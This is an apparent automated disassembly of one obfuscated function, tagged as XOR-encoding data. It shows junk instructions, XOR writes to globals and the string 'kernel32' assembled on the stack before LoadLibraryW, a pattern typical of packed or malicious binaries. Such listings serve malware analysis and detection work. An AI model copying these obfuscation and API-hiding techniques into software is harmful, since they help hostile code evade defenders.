Function at 0x417e90
Capabilities:
Encode data using xor

Disassembly:
pop ebp
ret 0x14
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b1419
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x576f24]
xor eax, ebp
pushal
pushfd
mov esi, 0x2a6cc8f
shl esi, 1
or eax, 0x130bff2
dec eax
mov edx, dword [0x56e072]
xor ecx, ebp
or eax, eax
xor esi, esp
shr eax, 0x1c
xor esi, eax
dec edx
test esi, esp
jo 0x417e86
sub esi, eax
mov esi, eax
call fcn.00407fc3
inc esi
sub ebx, 0x1af01d3
shr esi, 0x11
call fcn.0040c2e6
mov esi, ebx
sub eax, 0x2455653
xor edx, eax
and esi, edi
add eax, ebx
test eax, eax
jo 0x417ed7
and eax, eax
add eax, 0x1ddf977
xor dword [0x58cc32], 0x2c12147d
xor edi, esi
mov esi, edx
add esi, 0x55aff1d
mov ecx, 0xe48294
inc ebx
call fcn.00486ece
add dword [0x58ccf2], edi
dec eax
inc esi
neg esi
ror esi, 0x16
mov dword [0x58cc8a], edx
xchg eax, eax
call fcn.00486ece
sub dword [0x58cd2f], edi
test esp, edx
jb 0x417fbd
loop 0x417f20
add ebx, eax
not edx
or esi, edi
not esi
sub dword [0x58cc93], ecx
not edx
dec esi
xor eax, edx
mov ecx, 0x97b6f0
dec esi
ror esi, 4
shr esi, 0xb
mov dword [0x58cc30], 0x3b272f2
shl esi, 5
inc edx
neg esi
inc eax
shr eax, 8
ror ebx, 0xb
loop 0x417f64
shr eax, 0x1c
dec eax
shl eax, 0x18
xor esi, eax
mov edx, esp
rol esi, 3
call fcn.00410440
not esi
ror esi, 0xa
dec ebx
xchg esi, eax
dec ebx
or ecx, dword [0x57682c]
mov ecx, 0x928a01
add byte [ecx + 0x928a01], bh
inc esi
xchg esi, eax
inc esi
mov dword [0x58cc34], edx
neg esi
shr eax, 0x17
test eax, 0xba3eff7
jo 0x417fa5
out dx, eax
mov dword [0x29e3700b], eax
adc eax, 0x58cd2c
sub dword [0x58cd2c], edx
rol esi, 1
neg esi
not eax
call fcn.00410440
loop 0x417fab
xor edx, edx
xor ecx, esp
call fcn.0041d6e0
mov edx, dword [0x570b8f]
neg esi
rol esi, 0x1d
and esi, edi
mov ecx, ebx
not esi
and esi, edi
test esp, ebp
jo 0x417fbd
add edi, edi
or esi, edi
add ecx, esi
and ecx, 0x670bc1f
rol eax, 0x16
not eax
mov edi, esp
xchg edi, eax
push 0
or dword [0x58cd50], edx
sub dword [0x58cbea], edx
call fcn.00407c2a
xor ecx, edx
xor esi, eax
not ebx
sub esi, eax
neg esi
xor ecx, dword [0x5706d0]
xor esi, dword [0x57812d]
sub ecx, dword [0x57a6c0]
or dword [0x58cc7b], edx
xor eax, 0x1122d0
mov dword [0x58ccbe], ecx
call fcn.0040715a
sub ecx, dword [0x57accc]
ror eax, 0xe
xor ebx, dword [0x572e8e]
dec edx
xchg edi, eax
call fcn.00410440
call fcn.0040296d
xor dword [0x58cc1b], ecx
xor dword [0x58ccf8], edi
push 0x320033
add eax, 0x1052c03c
cmp al, 0xc0
push edx
adc bh, dh
fadd st(1)
into
push ds
xor esi, esp
rol eax, 0x1e
call fcn.0040c2e6
sub dword [0x58cd92], ecx
add esi, eax
xor ebx, esp
neg eax
mov dword [0x58ccc1], esi
xor ebx, dword [0x578a14]
call fcn.00405613
add ebx, ebx
mov dword [0x58ccd2], 0xcab458
xchg edx, edx
sub edi, dword [0x578d70]
mov dword [0x58cc1c], 0x2b742cf4
call fcn.00404405
sub dword [0x58ccb4], ecx
mov dword [0x58cd0c], edi
call fcn.00405438
push 0x6c0065
sub ecx, edi
or dword [0x58cc2c], 0x7f811c
xor ebx, dword [0x57587c]
dec esi
call fcn.00424afb
sub esi, eax
xchg eax, eax
xor dword [0x58cd9c], edx
ror esi, 0x11
add esi, 0x104e344a
add dword [0x58ccc6], 0x164a0588
xor edx, dword [0x579520]
ror esi, 0xb
inc esi
add edi, ebx
sub ecx, dword [0x570a96]
not esi
ror eax, 0x18
xor ebx, 0xcb8abf2
add ecx, ebx
ror eax, 8
xor dword [0x58cd08], ecx
call fcn.004073af
push 0x6e0072
xchg eax, esi
inc edx
ror edx, 0x1b
xor edx, dword [0x574720]
add ecx, dword [0x574468]
push edi
add byte [ebx], dh
sbb eax, 0x56ec8a
xor ecx, dword [0x576145]
neg ecx
ror eax, 0x16
sub edi, dword [0x56e86c]
xor edi, dword [0x570298]
add edx, ecx
add ecx, dword [0x576f40]
xor ebx, eax
call fcn.00410440
xchg ecx, eax
sub edx, edi
xor ebx, dword [0x56f0a0]
call fcn.00404405
push 0x65006b
rol ecx, 0x10
xor edx, dword [0x57b12b]
dec edx
sub esi, dword [0x572d70]
xor ecx, dword [0x579a10]
sub edx, 0x3edbefe
rol eax, 0x1a
sub esi, dword [0x573da8]
ror esi, 0xc
inc eax
xor ebx, dword [0x570d1e]
add byte [ebx], ch
sbb eax, 0x57998b
push esp
ror eax, 0x1e
dec eax
neg esi
sub esi, eax
or dword [0x58cbf7], 0x4f03029
xor edi, dword [0x5743a2]
dec esi
ror esi, 5
and dword [0x58cbe7], ecx
sub edi, dword [0x5772c0]
xor edx, ebx
sub edi, dword [0x56f590]
xor esi, eax
dec esi
xor esi, edx
mov dword [0x58cb90], 0x13182000
not esi
add ecx, dword [0x57afef]
sub edi, dword [0x574ed8]
add eax, esi
rol esi, 0x19
call fcn.0041d6e0
mov dword [0x58cd7e], 0x36055c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
inc eax
ror ebx, 2
add eax, edi
rol esi, 0x1b
dec eax
xor ecx, dword [0x58cf42]
ror eax, 0x18
not esi
sub ecx, dword [0x58cded]
xor esi, eax
call fcn.004059f4
rol esi, 0x1a
dec ebx
not eax
xor ecx, dword [0x58ceb4]
call fcn.00401656
dec esi
inc esi
call fcn.004084ef
not eax
inc ebx
ror esi, 0x1a
invalid